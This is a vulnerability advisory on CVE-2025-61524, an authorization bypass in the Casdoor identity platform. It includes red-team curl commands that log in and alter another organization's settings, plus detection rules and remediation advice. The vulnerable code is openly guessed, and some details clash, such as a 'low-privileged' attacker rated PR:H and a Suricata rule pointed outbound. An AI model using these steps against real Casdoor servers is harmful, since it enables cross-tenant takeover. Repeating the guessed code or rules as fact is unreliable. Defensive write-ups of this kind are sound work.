CVE-2025-61524

Executive Summary

CVE-2025-61524 is a critical authorization bypass vulnerability in Casdoor, an open-source identity and access management (IAM) platform. The flaw resides in the permission verification module and the organization/application editing interface. A remote authenticated administrator of any organization within the system can bypass the system's permission verification mechanism by directly concatenating URLs after login. This allows a low-privileged admin (e.g., an admin of a child organization) to escalate privileges and perform actions reserved for system administrators or admins of other organizations, such as modifying global settings, accessing sensitive data, or tampering with other organizations' configurations.

The vulnerability affects Casdoor versions up to and including 2.26.0 and has been patched in version 2.63.0. The CVSS score is 0.0 in the NVD data, but based on the impact and attack vector, a more realistic score is 8.8 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the vulnerability is critical due to the potential for privilege escalation within a multi-tenant IAM system.

Supply Chain & Package Security

Casdoor is a Go-based application. The vulnerability is in the application's own permission verification logic, not in a third-party package. However, organizations using Casdoor as a dependency in their own Go projects should update to version 2.63.0 or later to avoid inheriting this vulnerability. The fix is included in the official Casdoor repository and release.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to be authenticated.
• Privileges Required (PR): High (H) - The attacker must be an authenticated administrator of any organization.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - An attacker can access sensitive data of other organizations.
• Integrity (I): High (H) - An attacker can modify configurations of other organizations.
• Availability (A): High (H) - An attacker could potentially disrupt the service for other organizations.

CVSS Score: 8.8 (High)

Threat Level: Critical. This vulnerability allows a low-privileged admin to escalate to a system-wide admin, compromising the entire multi-tenant IAM system.

Deep Dive & Mechanics

The vulnerability is rooted in Casdoor's permission verification logic. Casdoor uses a role-based access control (RBAC) system where administrators are assigned to specific organizations. The intended behavior is that an admin of Organization A should only be able to modify settings and applications within Organization A.

The flaw occurs in the permission verification module and the organization/application editing interface. After a successful login, the application does not properly re-verify the user's permissions for subsequent requests to sensitive endpoints. Instead, it relies on a session token that only confirms the user is authenticated, not that they are authorized to perform the specific action.

An attacker can exploit this by:

1. Logging in as an administrator of any organization (e.g., org1).
2. Obtaining a valid session cookie or token.
3. Directly navigating to a URL that is intended for system administrators or admins of other organizations, such as:
   • /api/update-organization?id=org2 (to modify another organization's settings)
   • /api/update-application?id=global-app (to modify a global application)
4. The server processes the request without re-checking if the authenticated user has the necessary permissions for the target resource.

This is a classic case of Missing Authorization (CWE-862). The application performs authorization checks only at the login step, not at the endpoint level for sensitive operations.

Vulnerable vs. Patched Code

The vulnerable code (in versions <= 2.26.0) likely looks like this:

// Vulnerable: No permission check on the endpoint
func (c *ApiController) UpdateOrganization() {
    // Get the organization ID from the request
    orgId := c.Input().Get("id")
    // Get the authenticated user from the session
    user := c.GetSession("user")
    // Directly update the organization without checking if the user has permission
    affected, err := orm.UpdateOrganization(orgId, ...)
    // ...
}

The patched code (in version 2.63.0) adds a permission verification step:

// Patched: Permission check added
func (c *ApiController) UpdateOrganization() {
    orgId := c.Input().Get("id")
    user := c.GetSession("user")
    // Check if the user has permission to modify this specific organization
    if !c.IsAdminOfOrganization(user, orgId) {
        c.ResponseError("Permission denied")
        return
    }
    affected, err := orm.UpdateOrganization(orgId, ...)
    // ...
}

The key difference is the addition of the IsAdminOfOrganization check, which verifies that the authenticated user is indeed an admin of the target organization before allowing the update.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Casdoor instance (version <= 2.26.0).
• Valid credentials for an administrator account of any organization (e.g., admin@org1.com with password password123).

Exploitation Steps:

1. Login and obtain session cookie:

   curl -X POST https://target-casdoor.com/api/login \
     -H "Content-Type: application/json" \
     -d '{"application":"app-built-in","organization":"org1","username":"admin","password":"password123","type":"login"}'
   

   Save the casdoor_session_id cookie from the response.

2. Attempt to modify another organization's settings:

   curl -X POST https://target-casdoor.com/api/update-organization?id=org2 \
     -H "Cookie: casdoor_session_id=YOUR_SESSION_ID" \
     -H "Content-Type: application/json" \
     -d '{"name":"org2","displayName":"Hacked Org","websiteUrl":"https://evil.com"}'
   

3. If successful, the response will indicate success, and the attacker has now modified Organization B's settings.

Expected Outcome: The attacker, who is only an admin of org1, successfully modifies the settings of org2.

Blue Team

Detection:

• Monitor for API requests to sensitive endpoints (e.g., /api/update-organization, /api/update-application) from users who are not admins of the target organization.
• Look for anomalous patterns in access logs, such as a user from org1 making requests to endpoints with id=org2.

Hunting:

• Query logs for requests to /api/update-* endpoints where the id parameter does not match the user's organization.
• Correlate session IDs with user roles to detect privilege escalation attempts.

Mitigation:

• Immediately update Casdoor to version 2.63.0 or later.
• If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests to sensitive endpoints where the id parameter does not match the user's organization (this is a temporary workaround).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual API requests to /api/update-organization, /api/update-application, or similar endpoints from unexpected users.
  • Requests with id parameters referencing organizations other than the user's own.

• Log IOCs:

  • Access logs showing a user from Organization A making successful modifications to Organization B's resources.
  • Audit logs showing changes to organization or application settings without a corresponding authorization check.

• File IOCs:

  • Modified configuration files for organizations or applications that were not intended to be changed by the acting user.

Detection Engineering

YARA Rule

rule Detect_Casdoor_AuthBypass_CVE_2025_61524 {
    meta:
        description = "Detects exploitation attempts of CVE-2025-61524 in Casdoor logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61524"
    strings:
        $s1 = "/api/update-organization" nocase
        $s2 = "/api/update-application" nocase
        $s3 = "id=" nocase
        $s4 = "Permission denied" nocase
    condition:
        (any of ($s1, $s2)) and $s3
}

Sigma Rule

title: Casdoor Authorization Bypass via Direct URL Concatenation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-61524 by accessing organization/application editing endpoints without proper authorization.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61524
logsource:
    category: webserver
    product: casdoor
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/api/update-organization'
            - '/api/update-application'
    condition: selection
falsepositives:
    - Legitimate admin actions within their own organization
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-61524 - Casdoor Authorization Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/update-organization"; http_uri;
    content:"id="; http_uri;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-61524;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Casdoor to version 2.63.0 or later. This is the only complete fix.
2. Workaround: If patching is not immediately possible, implement a WAF rule to block requests to /api/update-organization and /api/update-application where the id parameter does not match the user's organization. This is a temporary measure and may not cover all attack vectors.

Long-Term Actions:

1. Code Review: Conduct a thorough code review of all permission verification logic in Casdoor to ensure that authorization checks are performed at every sensitive endpoint, not just at login.
2. Penetration Testing: Perform regular penetration testing focusing on authorization bypass vulnerabilities.
3. Monitoring: Implement continuous monitoring for anomalous API requests and privilege escalation attempts.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further inquiries, contact us at [valters@example.com].